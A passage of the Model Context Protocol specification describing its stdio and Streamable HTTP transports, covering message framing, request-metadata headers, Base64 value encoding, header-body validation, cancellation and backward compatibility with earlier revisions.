**binding**: it defines how messages are framed and delivered, how request
metadata is carried, and how cancellation and termination are signaled. It
does not define what the messages mean: the
[message patterns](/specification/2026-07-28/basic/patterns) are part of the core
protocol and are the same on every binding. The binding pages specify the
standard transports:
1. [stdio](/specification/2026-07-28/basic/transports/stdio): newline-delimited
messages over the standard streams of a client-launched subprocess.
2. [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http):
each message is an HTTP POST to a single MCP endpoint; replies arrive as
a JSON object or a request-scoped SSE stream.
It is also possible for clients and servers to implement
[custom transports](#custom-transports).
## Messages
MCP uses JSON-RPC to encode messages. JSON-RPC messages **MUST** be UTF-8
encoded.
A binding **MUST** deliver client-sent *requests* and *notifications* to the
server, and server-sent *responses* and *notifications* to the client. No
other message direction exists: per the
[message patterns](/specification/2026-07-28/basic/patterns), servers do not
initiate JSON-RPC requests and clients do not send JSON-RPC responses.
## Request Metadata
All protocol metadata travels in the message body: every request carries its
protocol version and client capabilities in
[`_meta.io.modelcontextprotocol/*`](/specification/2026-07-28/basic/index#meta)
fields.
A binding **MAY** additionally mirror selected body fields into envelope
metadata. The Streamable HTTP transport mirrors them into
[HTTP headers](/specification/2026-07-28/basic/transports/streamable-http#request-metadata)
so that intermediaries can route and inspect requests without parsing the
body. The body remains the source of truth; bindings that mirror metadata
define how mismatches are rejected.
## Cancellation
Each binding defines how a client abandons an in-flight request: on stdio
the client sends a `notifications/cancelled` notification; on Streamable
HTTP it closes the request's response stream. The protocol-level rules are
the same everywhere; see
[Cancellation](/specification/2026-07-28/basic/patterns/cancellation).
## Custom Transports
Clients and servers **MAY** implement additional custom transport mechanisms
to suit their specific needs. The protocol is transport-agnostic and can be
implemented over any communication channel that supports bidirectional
message exchange.
Implementers who choose to support custom transports **MUST** preserve the
JSON-RPC message format, the
[message patterns](/specification/2026-07-28/basic/patterns), and the per-request
metadata model. Custom transports **SHOULD** document their connection
establishment, message framing, and cancellation patterns to aid
interoperability.
Custom transports that run over a reliable bidirectional byte stream (e.g.,
Unix domain sockets or TCP) **SHOULD** reuse the
[stdio framing](/specification/2026-07-28/basic/transports/stdio) rather than
defining a new one: the stdio binding is just newline-delimited JSON-RPC
over a byte stream, and only its process-lifecycle rules are specific to
standard streams.
## Backward Compatibility
Earlier protocol revisions established a connection-scoped session with an
`initialize` handshake and allowed servers to initiate JSON-RPC requests.
Clients and servers that interoperate with those revisions detect the
counterpart's era and fall back as described in
[Versioning: Backward Compatibility](/specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions),
which includes a compatibility matrix for implementors. Each binding page
describes its transport-specific detection mechanics.
# stdio
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/stdio
In the **stdio** transport, the client launches the MCP server as a subprocess.
The two ends communicate over the subprocess's standard streams:
* The server reads JSON-RPC messages from `stdin` and writes JSON-RPC messages to
`stdout`.
* Each message is a single JSON-RPC request, notification, or response.
* Messages are delimited by newlines, and **MUST NOT** contain embedded newlines.
* The server **MAY** write UTF-8 strings to `stderr` for any logging purposes
including informational, debug, and error messages.
* The client **MAY** capture, forward, or ignore the server's `stderr` output and
**SHOULD NOT** assume `stderr` output indicates error conditions.
* The server **MUST NOT** write anything to its `stdout` that is not a valid MCP
message.
* The client **MUST NOT** write anything to the server's `stdin` that is not a
valid MCP message.
Standard streams are the canonical channel, but nothing in this binding
depends on them except the process lifecycle. The wire format (one
newline-delimited JSON-RPC message per line over a reliable bidirectional
byte stream) works unchanged over Unix domain sockets, TCP connections, or
any similar channel.
[Custom transports](/specification/2026-07-28/basic/transports#custom-transports)
built on such streams **SHOULD** reuse this framing and the message rules on
this page; only the subprocess-specific aspects (launch, `stderr`, shutdown
by closing the stream, process restart) need channel-specific equivalents.
## Sending Messages
The client sends messages by writing JSON-RPC *requests* and *notifications*
to the server's `stdin`, one message per line. The client **MUST NOT** write
JSON-RPC *responses*.
## Receiving Messages
The client reads server messages from `stdout`, one message per line. All
messages share this single channel; there are no per-request streams.
The server writes three kinds of messages:
1. *Responses* to client requests, correlated by JSON-RPC `id`.
2. *Notifications* that relate to an in-flight request, such as
`notifications/progress` and `notifications/message`.
3. *Notifications* delivered for an active
[`subscriptions/listen`][subscriptions-listen] request. Clients **MUST**
correlate these using the `io.modelcontextprotocol/subscriptionId` field
in `_meta`; see
[`SubscriptionsListenRequest`][subscriptions-listen-request].
The server **MUST NOT** write JSON-RPC *requests* to `stdout`.
Server-to-client interactions are carried in
[`InputRequiredResult`][mrtr-input-required] replies; see
[Multi Round-Trip Requests][mrtr].
[mrtr]: /specification/2026-07-28/basic/patterns/mrtr
[mrtr-input-required]: /specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult
[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
[subscriptions-listen-request]: /specification/2026-07-28/schema#subscriptionslistenrequest
## Request Metadata
All request metadata for the stdio transport is carried inline in the
JSON-RPC message body. The protocol version, per-request capabilities, and
optional client identity live in
[`_meta.io.modelcontextprotocol/*`][meta-fields];
the method name and arguments live where JSON-RPC puts them. There is no
header layer.
[meta-fields]: /specification/2026-07-28/basic/index#meta
## Cancellation
To cancel an in-flight request, the client **MUST** send a
`notifications/cancelled` notification referencing the request's ID. Because
stdio is a single shared bidirectional channel, there is no per-request stream
to close. Servers **SHOULD** stop work on a cancelled request as soon as
practical and **MUST NOT** send any further messages for it. See
[Cancellation][cancellation] for the full rules.
[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
## Shutdown
The client **SHOULD** initiate shutdown by:
1. Closing the input stream to the child process (the server).
2. Waiting for the server to exit.
3. If the server does not exit within a reasonable time, forcibly terminating
the process using the mechanism appropriate for the operating system.
On POSIX systems, forced termination typically escalates from
[`SIGTERM`][sigterm]
to `SIGKILL`. On Windows, where POSIX signals are not available, clients can
use [`TerminateProcess`][terminateprocess]
or [Job Objects][job-objects].
Servers **SHOULD** exit promptly when their standard input is closed or reads
return end-of-file. This is the primary graceful-shutdown signal and the only
portable one, so honoring it reduces the need for forced termination.
The server **MAY** initiate shutdown by closing its output stream to the
client and exiting.
## Unexpected Termination
If the server process exits unexpectedly, the client **SHOULD** restart it.
Because the protocol is stateless, any in-flight requests are simply lost and
the client can retry them against the fresh process. Active
[`subscriptions/listen`][subscriptions-listen] streams must also be
re-established after restart.
[sigterm]: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/signal.h.html
[terminateprocess]: https://learn.microsoft.com/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess
[job-objects]: https://learn.microsoft.com/windows/win32/procthread/job-objects
## Backward Compatibility
A client that supports both modern (per-request-metadata) MCP versions and a
legacy version that requires an `initialize` handshake **SHOULD** probe with
[`server/discover`][server-discover] before sending any other request,
setting its preferred modern version in `_meta`. The probe has three
possible outcomes:
* The server returns a `DiscoverResult`: the server is modern. Select a
mutually supported version from `supportedVersions` and continue.
* The server returns a recognized modern JSON-RPC error such as
[`UnsupportedProtocolVersionError`][unsupported-version]: the server is
modern but does not support the requested version. Use one of the versions
in its advertised `supported` list. Do **not** fall back to `initialize`.
* The server returns any other error, or does not respond within a
reasonable timeout: the server is legacy. Fall back to the `initialize`
handshake.
The fallback **MUST NOT** be keyed to one specific error code: legacy servers
respond to unknown pre-`initialize` requests with implementation-defined
errors (commonly `-32601` or `-32602`) or not at all.
A client that only supports modern versions does not need to probe, but
probing is still **RECOMMENDED**: some legacy servers do not validate that a
request arrives after `initialize` and would process an era-ambiguous method
(such as `tools/call`) under legacy semantics. Probing yields a
deterministic failure instead.
See [Versioning: Backward Compatibility][lifecycle-compat] for the era model
and a compatibility matrix for implementors.
[server-discover]: /specification/2026-07-28/schema#discoverrequest
[unsupported-version]: /specification/2026-07-28/schema#unsupportedprotocolversionerror
[lifecycle-compat]: /specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions
# Streamable HTTP
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http
Streamable HTTP was introduced in protocol version 2025-03-26 as a replacement
for the [HTTP+SSE transport][http-sse] from protocol version 2024-11-05.
Revision 2026-07-28 changed the behavior of Streamable HTTP. Clients must
ensure they handle backwards compatibility correctly. Changes included:
* Removal of the GET stream endpoint.
* Removal of protocol-level sessions.
See the [changelog](/specification/2026-07-28/changelog) and
[Backward Compatibility](#backward-compatibility) below.
In the **Streamable HTTP** transport, the server operates as an independent
process that can handle multiple client connections. At a glance:
* The server exposes a single HTTP endpoint (the **MCP endpoint**) that
accepts POST.
* The client sends every JSON-RPC request or notification as its own HTTP
POST.
* The server answers each request with either a single JSON object or a
[Server-Sent Events][sse] (SSE) stream scoped to that request, carrying
request-related notifications followed by the final response.
* Server-to-client interactions (sampling, elicitation, roots) are embedded
in results as input requests per
[Multi Round-Trip Requests (MRTR)][mrtr] ([SEP-2322][sep-2322]).
* Long-lived change notifications (such as list changes and resource updates)
are delivered on the response stream of a
[`subscriptions/listen`][subscriptions-listen] request.
See [Message Flow](#message-flow) for sequence diagrams of these
interactions.
The server **MUST** provide a single HTTP endpoint path (hereafter referred to
as the **MCP endpoint**) that supports POST. For example, this could be a URL
like `https://example.com/mcp`.
[http-sse]: /specification/2024-11-05/basic/transports#http-with-sse
[sse]: https://en.wikipedia.org/wiki/Server-sent_events
## Security & Endpoint
When implementing Streamable HTTP transport:
1. Servers **MUST** validate the `Origin` header on all incoming connections
to prevent DNS rebinding attacks.
* If the `Origin` header is present and invalid, servers **MUST** respond
with HTTP 403 Forbidden. The HTTP response body **MAY** comprise a
JSON-RPC *error response* that has no `id`.
2. When running locally, servers **SHOULD** bind only to localhost
(127.0.0.1) rather than all network interfaces (0.0.0.0).
3. Servers **SHOULD** implement proper authentication for all connections.
Without these protections, attackers could use DNS rebinding to interact with
local MCP servers from remote websites.
## Sending Messages
Every JSON-RPC message sent from the client **MUST** be a new HTTP POST
request to the MCP endpoint.
1. The client **MUST** use HTTP POST to send JSON-RPC messages.
2. The client **MUST** include an `Accept` header listing both
`application/json` and `text/event-stream` as supported content types.
3. The client **MUST** include the [request metadata headers](#request-metadata)
on each POST request.
4. The body of the HTTP POST **MUST** be a single JSON-RPC *request* or
*notification*. The client **MUST NOT** send JSON-RPC *responses*.
5. If the body is a JSON-RPC *notification*:
* If the server accepts it, the server **MUST** return HTTP status code
`202 Accepted` with no body.
* If the server cannot accept it, it **MUST** return an HTTP error status
code (e.g., `400 Bad Request`). The HTTP response body **MAY** comprise
a JSON-RPC *error response* that has no `id`.
6. If the body is a JSON-RPC *request*, the server **MUST** return either
`Content-Type: application/json` (a single JSON object) or
`Content-Type: text/event-stream` (an SSE response stream). The client
**MUST** support both.
This revision of the core protocol defines no client-to-server
*notifications* over Streamable HTTP. The only client-sent notification in
the core protocol, `notifications/cancelled`, is used only on the
[stdio](/specification/2026-07-28/basic/transports/stdio) transport; on
Streamable HTTP, closing the SSE response stream is itself the cancellation
signal and no `notifications/cancelled` message is expected (see
[Cancellation][cancellation]). The notification rules above describe the
transport mechanics for a notification POST; header requirements for
notification POSTs are not defined by this revision.
## Receiving Messages
When the server returns an SSE response stream
(`Content-Type: text/event-stream`):
* The server **MAY** send JSON-RPC *notifications* — for example,
[`notifications/progress`][notifications-progress]
or [`notifications/message`][notifications-message] —
before the final response. These notifications **MUST** relate to the
originating client request.
* The server **MUST NOT** send independent JSON-RPC *requests* on this stream.
Server-to-client interactions (sampling, elicitation, list-roots) are
embedded as input requests inside an
[`InputRequiredResult`][input-required-result] per
[MRTR][mrtr] ([SEP-2322][sep-2322]), not delivered as separate requests on
this or any other stream. This is a change from Streamable HTTP in protocol
versions `2025-03-26` through `2025-11-25`, where servers could send such
requests on SSE streams.
* The final JSON-RPC *response* **SHOULD** terminate the stream.
Long-lived notification streams are obtained by sending a
[`subscriptions/listen`][subscriptions-listen]
request. The server's response is itself an SSE stream that stays open and
delivers the change notifications the client opted in to (such as
`notifications/tools/list_changed` or `notifications/resources/updated`).
Request-scoped notifications like `notifications/progress` and
`notifications/message` are **not** delivered on the listen stream — they
flow only on the response stream of the request they relate to.
When initiating an SSE stream, servers **SHOULD** include the
`X-Accel-Buffering: no` header in the HTTP response. This instructs reverse
proxies (such as nginx) to disable response buffering, ensuring that SSE
events are delivered to clients immediately rather than being held in a
buffer. Without this header, proxies may accumulate messages before sending
them to the client, introducing unwanted latency and potentially breaking the
real-time nature of SSE communication.
For long-lived streams — in particular the
[`subscriptions/listen`][subscriptions-listen] response stream — servers are
encouraged to periodically emit an SSE comment line (a line beginning with a
colon, e.g. `:\r\n`) as a keep-alive. This keeps the connection from being
closed by intermediaries or client idle timeouts during quiet periods when no
notifications are flowing. Per the [SSE specification][sse], any line beginning
with a colon is a comment that carries no event data; clients must ignore such
lines and must not treat them as malformed input.
Resumable SSE streams via `Last-Event-ID` are not supported.
[notifications-progress]: /specification/2026-07-28/basic/patterns/progress
[notifications-message]: /specification/2026-07-28/server/utilities/logging
[input-required-result]: /specification/2026-07-28/schema#inputrequiredresult
[mrtr]: /specification/2026-07-28/basic/patterns/mrtr
[sep-2322]: /seps/2322-MRTR
[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
## Message Flow
The following diagrams illustrate the message flows on a single MCP endpoint.
**Requests and responses.** Each request is its own POST; the server chooses
per request whether to respond with a single JSON object or an SSE stream:
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
note over Client,Server: Simple response
Client->>Server: POST tools/call (JSON-RPC request)
Server-->>Client: 200 OK, application/json JSON-RPC response
note over Client,Server: Streaming response
Client->>Server: POST tools/call (JSON-RPC request)
note over Server: Opens SSE stream scoped to this request
Server-->>Client: SSE: notifications/progress
Server-->>Client: SSE: notifications/progress
Server-->>Client: SSE: JSON-RPC response
note over Client,Server: Stream closes
note over Client,Server: Notification
Client->>Server: POST (JSON-RPC notification)
Server-->>Client: 202 Accepted
```
**Server-to-client interactions (MRTR).** When the server needs input from
the client — sampling, elicitation, or roots — it does not send its own
JSON-RPC request. It returns an
[`InputRequiredResult`][input-required-result] containing `inputRequests`,
and the client retries the original request with the matching
`inputResponses` (see [Multi Round-Trip Requests][mrtr]):
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: POST tools/call (id: 1)
note over Server: Needs user input or an LLM completion
Server-->>Client: InputRequiredResult (inputRequests: elicitation/create)
note over Client: Gathers the requested input
Client->>Server: POST tools/call (id: 2) (original params + inputResponses)
Server-->>Client: Final result
```
**Change notifications.** Clients that want server-initiated change
notifications open a long-lived stream with
[`subscriptions/listen`][subscriptions-listen]; the response stream stays
open and carries only the notification types the client opted in to:
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: POST subscriptions/listen (notification filter)
Server-->>Client: SSE: notifications/subscriptions/acknowledged
note over Client,Server: Stream stays open
Server-->>Client: SSE: notifications/tools/list_changed
Server-->>Client: SSE: notifications/resources/updated
note over Client,Server: Until the client or server closes the stream
```
## Cancellation
Closing the SSE response stream **MUST** be treated by the server as
cancellation of that request. Because each request has its own response
stream, the transport-level disconnect is unambiguous. The server **SHOULD**
stop work on the cancelled request as soon as practical and **MUST NOT** send
any further messages for it. See
[Cancellation][cancellation] for the full rules.
[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
## Request Metadata
The Streamable HTTP transport mirrors selected JSON-RPC body fields into HTTP
headers so that intermediaries (load balancers, gateways, observability
tooling) can route and inspect requests without parsing the body.
### Protocol Version Header
Every POST request to the MCP endpoint **MUST** include an
`MCP-Protocol-Version` header.
For example: `MCP-Protocol-Version: 2026-07-28`
The header value **MUST** match the
`io.modelcontextprotocol/protocolVersion` field carried in the request body's
`_meta`. If the values do not match, the server **MUST** reject the request
with `400 Bad Request` and a `HeaderMismatch` JSON-RPC error
(see [Server Validation](#server-validation)).
If the server does not implement the requested protocol version (whether the
version is unknown to the server, or is a known version the server has chosen
not to support), it **MUST** respond with `400 Bad Request` and an
[`UnsupportedProtocolVersionError`][unsupported-version]
listing its supported versions. See
[Versioning: Protocol Version Negotiation][lifecycle-version]
for the negotiation flow.
If the server does not implement the requested RPC method, it **MUST** respond
with `404 Not Found` and a JSON-RPC error with code `-32601`
(`Method not found`). The JSON-RPC error body distinguishes this case from a
`404` returned by a legacy [HTTP+SSE][http-sse] server that does not host the
modern MCP endpoint (see [Backward Compatibility](#backward-compatibility)).
A server that supports clients implementing protocol versions earlier than
`2025-06-18` (which did not define the `MCP-Protocol-Version` header) **MAY**
treat a request that omits the header as protocol version `2025-03-26`. A
server that does not support such clients **MUST** reject a request without
the header per [Server Validation](#server-validation).
[unsupported-version]: /specification/2026-07-28/schema#unsupportedprotocolversionerror
[lifecycle-version]: /specification/2026-07-28/basic/versioning#protocol-version-negotiation
### Standard Request Headers
| Header Name | Source Field | Required For |
| ------------ | ----------------------------- | ------------------------------------------------------ |
| `Mcp-Method` | `method` | All requests |
| `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` requests |
These headers are **REQUIRED** for compliance.
If the `Mcp-Name` source value cannot be safely represented as a plain ASCII
header value, clients **MUST** encode it using the Base64 sentinel format
described in [Value Encoding](#value-encoding).
**`tools/call` request:**
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: tools/call
Mcp-Name: get_weather
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "Seattle, WA"
},
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {}
}
}
}
```
**`resources/read` request:**
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: resources/read
Mcp-Name: file:///projects/myapp/config.json
{
"jsonrpc": "2.0",
"id": 2,
"method": "resources/read",
"params": {
"uri": "file:///projects/myapp/config.json",
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {}
}
}
}
```
### Custom Headers from Tool Parameters
MCP servers **MAY** designate specific tool parameters to be mirrored into
HTTP headers using an `x-mcp-header` extension property in the parameter's
schema within the tool's `inputSchema`. See
[Tool Definitions][tool-definitions] for
details on how to annotate tool parameters.
While the use of `x-mcp-header` is optional for servers, clients **MUST**
support this feature. When a server's tool definition includes
`x-mcp-header` annotations, conforming clients **MUST** mirror the
designated parameter values into HTTP headers.
[tool-definitions]: /specification/2026-07-28/server/tools#x-mcp-header
#### Schema Extension
The `x-mcp-header` property specifies the name portion used to construct
the header name `Mcp-Param-{name}`.
**Constraints on `x-mcp-header` values**:
* **MUST NOT** be empty
* **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9110#section-5.1))
* **MUST NOT** contain control characters, including carriage return (CR, `\r`)
or line feed (LF, `\n`)
* **MUST** be case-insensitively unique among all `x-mcp-header` values in
the `inputSchema`
* **MUST** only be applied to parameters with primitive types (integer,
string, boolean). Parameters with type `number` are not permitted.
Integer values **MUST** be within the safe range for JavaScript
(−253+1 to 253−1)
* **MUST** only be applied to properties that are *statically reachable*
from the schema root: reachable via a chain consisting solely of
`properties` keys. The chain **MUST NOT** pass through `items` (or any
other array keyword), composition keywords (`oneOf`, `anyOf`, `allOf`,
`not`), conditional keywords (`if`/`then`/`else`), or `$ref`. Nested
object properties are permitted as long as every step in the chain is a
`properties` key. An `x-mcp-header` annotation anywhere else makes the
annotation — and thus the tool definition — invalid.
Header extraction is defined as reading the instance value at the exact
property path of the annotated property (the chain of `properties` keys
leading to it). If no value is present at that path in the call arguments,
the header is omitted.
Clients using the Streamable HTTP transport **MUST** reject tool definitions
where any `x-mcp-header` value violates these constraints. Rejection means
the client **MUST** exclude the invalid tool from the result of `tools/list`.
Clients **SHOULD** log a warning when rejecting a tool definition, including
the tool name and the reason for rejection. This ensures that a single
malformed tool definition does not prevent other valid tools from being used.
Clients using other transports (e.g., stdio) **MAY** ignore `x-mcp-header`
annotations entirely.
**Example tool definition:**
```json theme={null}
{
"name": "execute_sql",
"description": "Execute SQL on Google Cloud Spanner",
"inputSchema": {
"type": "object",
"properties": {
"region": {
"type": "string",
"description": "The region to execute the query in",
"x-mcp-header": "Region"
},
"query": {
"type": "string",
"description": "The SQL query to execute"
}
},
"required": ["region", "query"]
}
}
```
**Resulting HTTP request:**
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
MCP-Protocol-Version: 2026-07-28
Mcp-Method: tools/call
Mcp-Name: execute_sql
Mcp-Param-Region: us-west1
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {}
},
"name": "execute_sql",
"arguments": {
"region": "us-west1",
"query": "SELECT * FROM users"
}
}
}
```
#### Value Encoding
Clients **MUST** encode parameter values before including them in HTTP
headers to ensure safe transmission and prevent injection attacks.
**Type conversion**: Convert the parameter value to its string representation:
* `string`: Use the value as-is
* `integer`: Convert to decimal string representation (e.g., `42`, `-7`)
* `boolean`: Convert to lowercase `"true"` or `"false"`
Per [RFC 9110][rfc9110-values],
HTTP header field values must consist of visible ASCII characters
(0x21-0x7E), space (0x20), and horizontal tab (0x09). When a value cannot
be safely represented as a plain ASCII header value (e.g., it contains
non-ASCII characters, control characters, or has leading/trailing
whitespace), clients **MUST** use Base64 encoding of the UTF-8
representation with the following format:
```text theme={null}
Mcp-Param-{Name}: =?base64?{Base64EncodedValue}?=
```
The same encoding rule applies to the `Mcp-Name` header value. Tool and
prompt names are only **SHOULD**-constrained to header-safe characters, so a
name (or resource URI) outside the safe set is carried as:
```text theme={null}
Mcp-Name: =?base64?{Base64EncodedValue}?=
```
The prefix `=?base64?` and suffix `?=` indicate that the value is
Base64-encoded. These markers are case-sensitive and **MUST** appear exactly
as shown (lowercase). Servers and intermediaries that need to inspect these
values **MUST** decode them accordingly. In particular, servers **MUST**
decode an encoded `Mcp-Name` or `Mcp-Param-{Name}` value before comparing it
to the corresponding request body value during
[Server Validation](#server-validation).
To avoid ambiguity, clients **MUST** also Base64-encode any plain-ASCII
value that matches the sentinel pattern (i.e., starts with `=?base64?`
and ends with `?=`).
**Encoding examples:**
| Original Value | Reason | Encoded Header Value |
| ---------------------- | ------------------------ | ----------------------------------------------------- |
| `"us-west1"` | Plain ASCII | `Mcp-Param-Region: us-west1` |
| `"Hello, 世界"` | Contains non-ASCII | `Mcp-Param-Greeting: =?base64?SGVsbG8sIOS4lueVjA==?=` |
| `" padded "` | Leading/trailing spaces | `Mcp-Param-Text: =?base64?IHBhZGRlZCA=?=` |
| `"line1\nline2"` | Contains newline | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` |
| `"=?base64?literal?="` | Matches sentinel pattern | `Mcp-Param-Val: =?base64?PT9iYXNlNjQ/bGl0ZXJhbD89?=` |
[rfc9110-values]: https://datatracker.ietf.org/doc/html/rfc9110#name-field-values
#### Client Behavior
When constructing a `tools/call` request via HTTP transport, the client
**MUST**:
1. Extract the values for any standard headers from the request body (e.g.,
`method`, `params.name`, `params.uri`).
2. Append the `Mcp-Method` header and, if applicable, `Mcp-Name` header to
the request.
3. Inspect the tool's `inputSchema` for properties marked with
`x-mcp-header` and extract the value at each annotated property's exact
property path, omitting the header when no value is present (see
[Schema Extension](#schema-extension)).
4. Encode the values according to the [Value Encoding](#value-encoding)
rules.
5. Append a `Mcp-Param-{Name}: {Value}` header to the request.
If the server rejects a request with a
[`HeaderMismatch`](#server-validation) error because required
`Mcp-Param-*` headers are missing or do not match the body, the client
**SHOULD** call `tools/list` to check for changes to the tool's
`inputSchema`, then retry the original request with the appropriate
headers.
#### Server Behavior for Custom Headers
Intermediate servers that do not recognize an `Mcp-Param-{Name}` header
**MUST** forward it and otherwise ignore it, as required by the
[HTTP Semantics RFC][http-semantics].
Servers **MUST** reject requests with a recognized `Mcp-Param-{Name}` header
that contains invalid characters (see [Value Encoding](#value-encoding)).
Any server that processes the message body **MUST** validate that encoded
header values, after decoding if Base64-encoded, match the corresponding
values in the request body. Servers **MUST** reject requests with a
`400 Bad Request` HTTP status and JSON-RPC error code `-32020`
(`HeaderMismatch`) if any validation fails.
| Scenario | Client Behavior | Server Behavior |
| ---------------------------------------- | ------------------------------ | ---------------------------------------- |
| Parameter value provided | Client MUST include the header | Server MUST validate header matches body |
| Parameter value is `null` | Client MUST omit the header | Server MUST NOT expect the header |
| Parameter not in arguments | Client MUST omit the header | Server MUST NOT expect the header |
| Client omits header but value is in body | Non-conforming client | Server MUST reject the request |
[http-semantics]: https://www.rfc-editor.org/rfc/rfc9110.html#name-field-names
### Case Sensitivity
Header names (called "field names" in
[RFC 9110][rfc9110-names])
are case-insensitive. Clients and servers **MUST** use case-insensitive
comparisons for header names. Header *values* (such as method names) are
case-sensitive.
[rfc9110-names]: https://datatracker.ietf.org/doc/html/rfc9110#name-field-names
### Server Validation
Servers that process the request body **MUST** reject requests where the
values specified in the headers do not match the corresponding values in the
request body. This prevents potential security vulnerabilities when
different components in the network rely on different sources of truth
(e.g., a load balancer routing on the header value while the MCP server
executes based on the body value).
When validating integer parameter values, servers **SHOULD** compare the
header value and the body value numerically rather than as strings (e.g.,
`42.0` and `42` are considered equal).
When rejecting a request due to header validation failure, servers **MUST**
return HTTP status `400 Bad Request` and **MUST** include a JSON-RPC error
response using the following error code:
| Code | Name | Description |
| -------- | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------- |
| `-32020` | [`HeaderMismatch`](/specification/2026-07-28/schema#headermismatcherror) | The HTTP headers do not match the corresponding values in the request body, or required headers are missing/malformed. |
This error code is allocated from the sub-range the MCP specification
reserves for protocol-defined errors. See
[Error Codes](/specification/2026-07-28/basic/index#error-codes).
**Example error response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32020,
"message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'"
}
}
```
Validation failure conditions include:
* A required standard header (`MCP-Protocol-Version`, `Mcp-Method`,
`Mcp-Name`) is missing.
* A header value does not match the corresponding request body value.
For headers that permit the Base64 sentinel encoding (`Mcp-Name` and
`Mcp-Param-{Name}`), servers **MUST** decode encoded values (see
[Value Encoding](#value-encoding)) before comparing them to the body value.
* A header value contains invalid characters.
Intermediaries **MUST** return an appropriate HTTP error status (e.g.,
`400 Bad Request`) for validation failures but are not required to return
a JSON-RPC error response.
Intermediaries that enforce policy based on mirrored headers (e.g., routing
or rate-limiting by tenant) **SHOULD** verify that the `MCP-Protocol-Version`
header indicates a version that requires header–body validation. If the
version is older or the header is absent, the intermediary **SHOULD** reject
the request rather than trusting unvalidated header values.
## Backward Compatibility
A client that supports both modern (per-request-metadata) MCP versions and a
legacy version that requires an `initialize` handshake **MAY** detect which
era the server implements by attempting a modern request first. On
`400 Bad Request`, the client **SHOULD** inspect the response body before
falling back: modern servers also use `400` for
[`UnsupportedProtocolVersionError`][unsupported-version],
`MissingRequiredClientCapabilityError`, and header-validation failures.
* If the body contains a recognized modern JSON-RPC error, the server speaks
a modern version of MCP — retry using the advertised `supported` versions
or correct the request, rather than falling back.
* If the body is empty or is not a recognized modern JSON-RPC error, fall
back to `initialize` and continue with the legacy version for subsequent
requests.
See [Versioning: Backward Compatibility][lifecycle-compat] for the era model
and a compatibility matrix for implementors.
### Earlier Streamable HTTP Revisions
Protocol versions `2025-03-26` through [`2025-11-25`](/specification/2025-11-25/basic/transports)
also used the Streamable HTTP transport, but in a different shape: servers could assign a session via
the `Mcp-Session-Id` header (terminated with HTTP DELETE), clients could open
a standalone SSE stream with HTTP GET to receive server-initiated messages,
servers could send JSON-RPC *requests* on SSE streams, and streams were
resumable via `Last-Event-ID`. None of these mechanisms are part of this
revision.
A server that supports only this revision and receives such traffic from an
older client **SHOULD** respond as follows:
* HTTP GET or DELETE to the MCP endpoint: respond with
`405 Method Not Allowed`.
* An `Mcp-Session-Id` header on a request: ignore it, and do not mint or echo
session IDs.
* A `Last-Event-ID` header: ignore it; streams are not resumable.
Servers and clients that need to interoperate with counterparts speaking
those protocol versions implement the behavior described in the corresponding
revision (for example,
[2025-11-25: Streamable HTTP](/specification/2025-11-25/basic/transports#streamable-http)),
in addition to the version-negotiation fallback described above.
### HTTP+SSE Transport (2024-11-05)
**Deprecated**: The [HTTP+SSE transport][http-sse] from protocol version
2024-11-05 has been deprecated since protocol version `2025-03-26` and is
classified as Deprecated under the [feature lifecycle
policy](/community/feature-lifecycle#deprecating-a-feature)
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
New implementations **SHOULD NOT** adopt it; existing implementations
**SHOULD** migrate to [Streamable
HTTP](/specification/2026-07-28/basic/transports/streamable-http). It is
eligible for removal in a future revision; see the [deprecated features
registry](/specification/2026-07-28/deprecated).
Clients and servers can maintain backward compatibility with the
deprecated [HTTP+SSE transport][http-sse] (from
protocol version 2024-11-05) as follows:
**Servers** wanting to support older clients should:
* Continue to host both the SSE and POST endpoints of the old transport,
alongside the new "MCP endpoint" defined for the Streamable HTTP transport.
* It is also possible to combine the old POST endpoint and the new MCP
endpoint, but this may introduce unneeded complexity.
**Clients** wanting to support older servers should:
1. Accept an MCP server URL from the user, which may point to either a server
using the old transport or the new transport.
2. Attempt to POST a request to the server URL, with an `Accept` header as
defined above:
* If it succeeds, the client can assume this is a server supporting the
